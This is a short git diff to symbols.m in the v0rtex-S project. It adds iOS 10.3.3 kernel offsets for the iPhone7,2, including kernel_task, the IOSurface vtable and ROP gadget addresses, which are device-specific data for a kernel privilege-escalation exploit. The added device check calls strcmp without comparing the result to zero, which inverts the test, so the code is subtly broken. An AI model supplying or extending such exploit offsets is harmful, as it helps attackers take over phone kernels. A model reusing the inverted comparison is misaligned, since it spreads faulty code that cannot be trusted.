diff --git a/v0rtex-S/symbols.m b/v0rtex-S/symbols.m index 14a54dc..79d0d9c 100644 --- a/v0rtex-S/symbols.m +++ b/v0rtex-S/symbols.m @@ -87,6 +87,31 @@ BOOL init_symbols() } } + else if (strcmp(u.machine, "iPhone7,2")) + { + if ([ver isEqual: @"Version 10.3.3 (Build 14G60)"]) + { + OFFSET_ZONE_MAP = 0xfffffff007558478; + OFFSET_KERNEL_MAP = 0xfffffff0075b4050; + OFFSET_KERNEL_TASK = 0xfffffff0075b4048; + OFFSET_REALHOST = 0xfffffff00753aba0; + OFFSET_BZERO = 0xfffffff00708df80; + OFFSET_BCOPY = 0xfffffff00708ddc0; + OFFSET_COPYIN = 0xfffffff00718d028; + OFFSET_COPYOUT = 0xfffffff00718d21c; + OFFSET_CHGPROCCNT = 0xfffffff00739aa04; + OFFSET_KAUTH_CRED_REF = 0xfffffff007374d90; + OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4; + OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c; + OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8; + OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006eee1b8; + OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064b2174; + OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff006400a84; + OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0; + OFFSET_OSSERIALIZER_SERIALIZE = 0xfffffff00744db90; + } + } + else { LOG("Device not supported.");